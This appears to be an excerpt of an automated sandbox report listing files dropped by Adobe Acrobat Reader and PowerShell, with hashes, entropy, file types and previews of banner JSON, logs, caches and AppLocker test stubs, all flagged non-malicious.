Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.293724116076113
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1dEqgQ2WsGiIPEeOF0YBUoAvJfYdPeUkwRe9:YvXKX1CXmsdTeOhnGg8Ukee9
MD5:	9B16EE5F633007A8AE5CE38C3DF1BFB5
SHA1:	416427CC67EB086B85124F7A3C19D20E7257A181
SHA-256:	089DBA5DD691B572E2C6D60FAD2DF114C2E225D322684F795E80D9965441ADFE
SHA-512:	7FBB41D27940B69589E87BAA5CE41734DBDA896A6EBDB9D6EAC7FF0C90434AC4FE346B5D89B0D57B4E874EE0AA4B48BD768D8EA03E6064FDC512228A108C08C6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95fdf3c7-eca5-40c0-b1d1-56aa21c697e0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736717496570,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.279962988912475
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1dEqgQ2WsGiIPEeOF0YBUoAvJf+dPeUkwRe9:YvXKX1CXmsdTeOhnG28Ukee9
MD5:	905AAAA439F62BFB1A2908638F716FA0
SHA1:	9104BA9222A63BBBF446B502037B5B2BFCFB4904
SHA-256:	DA96C0F7D2AD84635FD4564AD957B1FCE608B7614DC7A7783C7709415F78336C
SHA-512:	6113B794270D2AD017DE744DC413C5A5E94DE4D3FA410277878EDBB35B1EF0B1A35B8881E973C6571005C36D7958A4DC22E096F48BD01ECDA2B55CF8249C51B2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95fdf3c7-eca5-40c0-b1d1-56aa21c697e0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736717496570,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.277314346972821
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1dEqgQ2WsGiIPEeOF0YBUoAvJfbPtdPeUkwRe9:YvXKX1CXmsdTeOhnGDV8Ukee9
MD5:	7F89751F8400EEE50BF31D12874FABA3
SHA1:	637A3FD949E4F1E564BF9DE9AEF7A9E1F4BA7F68
SHA-256:	914D34C854D5D73EACC725AE9ECA43E12BDA995FD86FA7E6341B0E69044B46C2
SHA-512:	54D67922F5D1C2052F2070D2C8929FA9647DA2620912B80B8685E6434EAC3CD3D42ADDB3CA548D203E9A1BE0E699A9F54E377920A03E5E5856BCCCD3CD414A2A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95fdf3c7-eca5-40c0-b1d1-56aa21c697e0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736717496570,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.282174797590391
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1dEqgQ2WsGiIPEeOF0YBUoAvJf21rPeUkwRe9:YvXKX1CXmsdTeOhnG+16Ukee9
MD5:	6EBE191133A9EB4841F439D16EB93B02
SHA1:	BE642349FC09239E4337B6BEFDFF6A2DB7652748
SHA-256:	5DB864D10DF7BB51DC56D02A28B6A2B0112DFAC373C9AC40679C43701E24152A
SHA-512:	D4F6CAD1F75E6B5EA37BC37885E969775DD031974324EA812DAB31710DB55C2B632A80C05CE69563079DD7B6C5E8BD4FC009B7B05DCF65ED303B786D1DD99A23
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95fdf3c7-eca5-40c0-b1d1-56aa21c697e0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736717496570,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.657839353645535
Encrypted:	false
SSDEEP:	24:Yv6XoWmeOKamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSC:YvNetBgkDMUJUAh8cvMC
MD5:	A0A92F4E4A0CBF85C51CDF561FBB5B32
SHA1:	DFBC7DDBA516C06B97B1CEC179DCC2C29EEFD309
SHA-256:	A60CA67E0F2A8683858841DD66E478382C09403A3405D5C699083B530F23ED34
SHA-512:	69619296B8F19E34D182DD8F0E1518A27240B9D709BE800442F5F0A45E06858F24E0D77081F17A24AC2217794BE59DE1FA69F81CD2583BA3BBABA50ED5873590
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95fdf3c7-eca5-40c0-b1d1-56aa21c697e0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736717496570,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2574981814164765
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1dEqgQ2WsGiIPEeOF0YBUoAvJfshHHrPeUkwRe9:YvXKX1CXmsdTeOhnGUUUkee9
MD5:	C62C715D25DC51B604E0BAC8D0362F65
SHA1:	CE36DB783477CCF13654396979B28E3BABF8A612
SHA-256:	EAB236C388E7BF622B87A3FE05CD996E2D62077EEB37E6B1FFFEC7A2920B5BB4
SHA-512:	2442088011ACA97C47DAC1C3767B8E7D2CFC78FEAF4772D7030E5E1B1998EB9C939AC66D6AAA8633C0F12F430B98167C25FD7810C7E0BD975C67359781A782EB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95fdf3c7-eca5-40c0-b1d1-56aa21c697e0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736717496570,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.276810824915708
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1dEqgQ2WsGiIPEeOF0YBUoAvJTqgFCrPeUkwRe9:YvXKX1CXmsdTeOhnGTq16Ukee9
MD5:	C87AE5327AF71CD3E6D46D1CE38D86DB
SHA1:	56A1B3D5C2FC3AB31FC8B7E071BDDC1CBC7327BB
SHA-256:	A83AC5C51667A4B4B02F15FF72630E80ACE6748BFE86BD0A06FDB854A389F22B
SHA-512:	2A4D5CE7EF0C616E897880BF94E007FC725B58E8C5D4EACFA8FB63ADF15A4D9CCFE595557EC42BCAD9FD07AE718F5E85C05B5497A52B59AE83E7FAEF391D338C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95fdf3c7-eca5-40c0-b1d1-56aa21c697e0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736717496570,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.127842723093549
Encrypted:	false
SSDEEP:	24:YfX1zna7EYay+pOn+NGqVaOvpz9bPzf6oCcjGtj0SIS4f/2b2LSIMCKLWb8PeAO8:YfXd9VRz36iGBqiLbLWwPe/ED9BF
MD5:	DFA1D6D149F5B8091D90F1778B1A9F08
SHA1:	9FE2B6F377548D71D4FEDB8613AA20DB60E51F48
SHA-256:	82E933BFE1CAEF6B9ACFFFDF3E2228B8197FB3988036BF9B52FDB73C699FAE6C
SHA-512:	3C3EFC991068A4E13A6AE5ED1D73D3E1AE0E7FAD24A54DDFEED1B96FD8B8D5C45F395490CE232FD86141B821EA1F90FEBE39A4F7F560FC478EB715BD4A205A25
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"da0e0c4d2ea1da23fd503205e7e16a0e","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736538500000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"6ca6199432daaca4205833e3d6fc82e7","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736538500000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"16574638953be72346c56bc4ed4bd138","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736538500000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"597317f39cbe943c86149b5576271c83","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736538500000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"a676f8bed69bb8f792e00117f64b461b","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736538500000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"e80b3252954ea3283840b054e25235ac","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4539096712123671
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsal2:lNVmsw3SHtbDbPe0K3+fDZd8
MD5:	4636EF4B87138E1AE62FAF44B322D78A
SHA1:	184283CA31B995D89112D149CD1B0F2D2A1FAEBE
SHA-256:	ECEA0FA3E5905CAE7459D6DA86EDA1515724101AD41C81DEC4DF3FADEBEF97D5
SHA-512:	63DDFC47A74D37BDF23F87ED8826799D1A1F88BCDD68EF5C9207462FBD856F7803EFFC413CD850B11472CCD822638943EA5AE3393713C76957353C2FBDA1B29B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9578570537739608
Encrypted:	false
SSDEEP:	48:7MrcrvrBd6dHtbGIbPe0K3+fDy2dsDonqFl2GL7msB:7u03SHtbDbPe0K3+fDZdRnKVmsB
MD5:	D755D508C5D7145C0C0D04EA5434D190
SHA1:	ED6AF79248EEAA0A3D1FDD7FB76A33FA4CF331AD
SHA-256:	B9CEC989EA0C0A57F6F11528DEE45FA24841E39881D60B212E45CB50F7677051
SHA-512:	3457F50D840454B1935B43F18C79C96FB370C3011AB521CB9FDC7B200C77DDF59BBDDCB13EDC2601B8BA88C1055B981A3C0D1746EA929777DEE36E1724727806
Malicious:	false
Preview:	.... .c.....S.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgZQ/MpdUNLcBQ/dGW5mqBVuj75Yyu:6a6TZ44ADEZQ/Advm/BuX5K
MD5:	D097CFCFA081514A5CE47B1DF7AAAC6B
SHA1:	0BC214635FBC0CFDE56BB57F700ED1A2782EEBD5
SHA-256:	6EFE7BED4A540D5262AFFC1C190F32DFECD136BDA649796C95B7BA299935566E
SHA-512:	4CCFF9FC8B745B7600998BA171984FB649B941DE9444496BD3FF8B397A66041CC31B2D6355466344E5284A99ACBE3821784152D244ED6E3689EE79D726FE7215
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI6c203.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5217358039039093
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClERIBw:Qw946cPbiOxDlbYnuRK+bD6w
MD5:	346CA0599C6BA821B19DB40325B6BFDC
SHA1:	5889D8ED44DA3A8B574C6D83949ADE825318378F
SHA-256:	DC7BE0FCA886355B80DDD0040DC6290AA0517183EB2752E4775791DAB4D5C770
SHA-512:	E88CDA41B24AEFC4CEB7BBC3897F1F68CE8557D7D086A3D61C948D556E53D29EC84AB89FDE3E120CB10F084E6A68F1354072C08FC5BBC9156C5DAA3033546AFD
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.4.:.4.8.:.1.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oc203afv.2xr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q2enh0xy.ahz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 14-48-13-569.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.382918742412205
Encrypted:	false
SSDEEP:	384:hiOrmy3GT7Y4VSg3RWou+hCe7jy2726BAr4a0oqirpCn5TTltXd1CRCnW1jrLwQJ:mJk
MD5:	B088C9D9EBB0D9AFAA9763F92C9184AD
SHA1:	BB71E39826639A2986CDF7047F55110E5FDEAB5C
SHA-256:	99749A6F747B94AE808045B05B528154EFDAC38628B157609E601D341832F6F9
SHA-512:	5410FADF2537F3B5CCBB2AF2E6B135802A8B43D9A432C4CA17186119030DB29C8C647F6A19FEA66EE818E50935FC3126E3B61876B805B35447C58903B24B0F7F
Malicious:	false
Preview:	SessionID=2685f537-ff29-4474-965e-6297fdbd2e66.1736538493581 Timestamp=2025-01-10T14:48:13:581-0500 ThreadID=6968 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=2685f537-ff29-4474-965e-6297fdbd2e66.1736538493581 Timestamp=2025-01-10T14:48:13:582-0500 ThreadID=6968 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=2685f537-ff29-4474-965e-6297fdbd2e66.1736538493581 Timestamp=2025-01-10T14:48:13:582-0500 ThreadID=6968 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=2685f537-ff29-4474-965e-6297fdbd2e66.1736538493581 Timestamp=2025-01-10T14:48:13:582-0500 ThreadID=6968 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=2685f537-ff29-4474-965e-6297fdbd2e66.1736538493581 Timestamp=2025-01-10T14:48:13:582-0500 ThreadID=6968 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.408002313158544
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRDk:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRS
MD5:	0108B282739231AD18F40BD465AFCC8D
SHA1:	F86453A6238701EA009FBEF7E8BDAFB59B4FFAB5
SHA-256:	28709F01CFE24BE8DBD02868F446B29321D58424E0C7A78568330C2F3CE4B431
SHA-512:	CA905838AABA9494699BA7ED1F3360EE75F7391E813BB3431E67FD74F6D8745057620D805595D1BDC9F9A1A78BE95B8094025E2574214DED4DE801398320024E
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\286f6aee-a257-4a67-8827-243fc4b62a43.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/n5ZwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:xZwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	E78E4D1CA18BE28748F65C3A192DAFB2
SHA1:	78AD6025CB470EFB9ECA8FF1ED41F617372D1F9F
SHA-256:	F4B25F5C5BE48E151080D9CC24C8A4662CBB591A6B32037DB8D7ADE1828D8849
SHA-512:	E170C9BD3B6BB575244FCD380334D763C30352586F60824A67868EAE8E895BE0601D51670FCC304724BDF321CE8EF64881E606C9CF4C18C5817DFB5A679E44D6
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\51ff8334-9a17-47b5-acd6-f0dedf36abc0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
